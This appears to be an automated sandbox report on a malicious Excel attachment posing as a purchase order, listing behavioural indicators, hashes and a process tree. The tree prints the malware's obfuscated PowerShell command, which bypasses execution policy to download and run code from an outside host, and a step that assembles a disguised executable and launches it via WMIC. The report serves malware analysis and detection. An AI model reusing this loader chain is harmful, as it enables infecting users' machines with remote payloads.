Analysis
- max time kernel
72s - max time network
23s - platform
windows7_x64 - resource
win7v20201028 - submitted
17/12/2020, 09:10
Static task
static1
Behavioral task
behavioral1
Sample
PL-NewOrder388374DBA.xls
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
PL-NewOrder388374DBA.xls
Resource
win10v20201028
windows10_x64
0 signatures
0 seconds
General
- Target PL-NewOrder388374DBA.xls
- Size 71KB
- Sample201217-lsff4v91qa
- SHA256 18030a9ea4cf60ea858db8b302cdd94962069f232be6212787ad1ddca0bbbe54
- MD5 9ff9db49a165d7fae4bfeefbe4cf985d
- SHA1 5bb9ead40881ab04d740573bbb98b1dc2f9c2458
- SHA512 e4eac01209cda22ad72df71e1e8e5e7b6c41e907198b104e905cea1f93a2dd285fe1c669e936df7d10fe445afac84dba2745573eecd8fcca37c1a401d3e42400
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1096 1204 cMd.eXE 24 - Blocklisted process makes network request 1 IoCs
flow pid Process 6 1952 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 1800 Test3.jpg - Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1204 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1952 powershell.exe 1952 powershell.exe 1952 powershell.exe 1952 powershell.exe - Suspicious use of AdjustPrivilegeToken 41 IoCs
description pid Process Token: SeDebugPrivilege 1952 powershell.exe Token: SeIncreaseQuotaPrivilege 1668 WMIC.exe Token: SeSecurityPrivilege 1668 WMIC.exe Token: SeTakeOwnershipPrivilege 1668 WMIC.exe Token: SeLoadDriverPrivilege 1668 WMIC.exe Token: SeSystemProfilePrivilege 1668 WMIC.exe Token: SeSystemtimePrivilege 1668 WMIC.exe Token: SeProfSingleProcessPrivilege 1668 WMIC.exe Token: SeIncBasePriorityPrivilege 1668 WMIC.exe Token: SeCreatePagefilePrivilege 1668 WMIC.exe Token: SeBackupPrivilege 1668 WMIC.exe Token: SeRestorePrivilege 1668 WMIC.exe Token: SeShutdownPrivilege 1668 WMIC.exe Token: SeDebugPrivilege 1668 WMIC.exe Token: SeSystemEnvironmentPrivilege 1668 WMIC.exe Token: SeRemoteShutdownPrivilege 1668 WMIC.exe Token: SeUndockPrivilege 1668 WMIC.exe Token: SeManageVolumePrivilege 1668 WMIC.exe Token: 33 1668 WMIC.exe Token: 34 1668 WMIC.exe Token: 35 1668 WMIC.exe Token: SeIncreaseQuotaPrivilege 1668 WMIC.exe Token: SeSecurityPrivilege 1668 WMIC.exe Token: SeTakeOwnershipPrivilege 1668 WMIC.exe Token: SeLoadDriverPrivilege 1668 WMIC.exe Token: SeSystemProfilePrivilege 1668 WMIC.exe Token: SeSystemtimePrivilege 1668 WMIC.exe Token: SeProfSingleProcessPrivilege 1668 WMIC.exe Token: SeIncBasePriorityPrivilege 1668 WMIC.exe Token: SeCreatePagefilePrivilege 1668 WMIC.exe Token: SeBackupPrivilege 1668 WMIC.exe Token: SeRestorePrivilege 1668 WMIC.exe Token: SeShutdownPrivilege 1668 WMIC.exe Token: SeDebugPrivilege 1668 WMIC.exe Token: SeSystemEnvironmentPrivilege 1668 WMIC.exe Token: SeRemoteShutdownPrivilege 1668 WMIC.exe Token: SeUndockPrivilege 1668 WMIC.exe Token: SeManageVolumePrivilege 1668 WMIC.exe Token: 33 1668 WMIC.exe Token: 34 1668 WMIC.exe Token: 35 1668 WMIC.exe - Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 1204 EXCEL.EXE 1204 EXCEL.EXE 1204 EXCEL.EXE 1204 EXCEL.EXE 1204 EXCEL.EXE 1800 Test3.jpg - Suspicious use of WriteProcessMemory 28 IoCs
description pid Process procid_target PID 1204 wrote to memory of 1096 1204 EXCEL.EXE 26 PID 1204 wrote to memory of 1096 1204 EXCEL.EXE 26 PID 1204 wrote to memory of 1096 1204 EXCEL.EXE 26 PID 1204 wrote to memory of 1096 1204 EXCEL.EXE 26 PID 1096 wrote to memory of 1952 1096 cMd.eXE 28 PID 1096 wrote to memory of 1952 1096 cMd.eXE 28 PID 1096 wrote to memory of 1952 1096 cMd.eXE 28 PID 1096 wrote to memory of 1952 1096 cMd.eXE 28 PID 1952 wrote to memory of 432 1952 powershell.exe 33 PID 1952 wrote to memory of 432 1952 powershell.exe 33 PID 1952 wrote to memory of 432 1952 powershell.exe 33 PID 1952 wrote to memory of 432 1952 powershell.exe 33 PID 432 wrote to memory of 1752 432 csc.exe 34 PID 432 wrote to memory of 1752 432 csc.exe 34 PID 432 wrote to memory of 1752 432 csc.exe 34 PID 432 wrote to memory of 1752 432 csc.exe 34 PID 1952 wrote to memory of 636 1952 powershell.exe 35 PID 1952 wrote to memory of 636 1952 powershell.exe 35 PID 1952 wrote to memory of 636 1952 powershell.exe 35 PID 1952 wrote to memory of 636 1952 powershell.exe 35 PID 1952 wrote to memory of 1556 1952 powershell.exe 36 PID 1952 wrote to memory of 1556 1952 powershell.exe 36 PID 1952 wrote to memory of 1556 1952 powershell.exe 36 PID 1952 wrote to memory of 1556 1952 powershell.exe 36 PID 1556 wrote to memory of 1668 1556 cmd.exe 37 PID 1556 wrote to memory of 1668 1556 cmd.exe 37 PID 1556 wrote to memory of 1668 1556 cmd.exe 37 PID 1556 wrote to memory of 1668 1556 cmd.exe 37
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\PL-NewOrder388374DBA.xls1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Windows\SysWOW64\cMd.eXEcMd.eXE /c pOWErsHeLL -EX bYpaSs -NoP -W 1 IeX( CuRl ('http://' + 'cho' + 'whouse.net/Pr' + 'o.' + 'jpg' ))2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1096 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOWErsHeLL -EX bYpaSs -NoP -W 1 IeX( CuRl ('http://' + 'cho' + 'whouse.net/Pr' + 'o.' + 'jpg' ))3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1952 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\htsvsjqq\htsvsjqq.cmdline"4⤵
- Suspicious use of WriteProcessMemory
PID:432 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7C9F.tmp" "c:\Users\Admin\AppData\Local\Temp\htsvsjqq\CSC64A3AB3B592F413A87D6B3719E809EC6.TMP"5⤵PID:1752
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cOPy /B %TEMP%\Test1.txt + %TEMP%\Test2.gif %TEMP%\Test3.jpg4⤵PID:636
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c WMic ProceSs CalL crEATE %TEMP%\Test3.jpg4⤵
- Suspicious use of WriteProcessMemory
PID:1556 -
C:\Windows\SysWOW64\Wbem\WMIC.exeWMic ProceSs CalL crEATE C:\Users\Admin\AppData\Local\Temp\Test3.jpg5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1668
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Test3.jpgC:\Users\Admin\AppData\Local\Temp\Test3.jpg1⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1800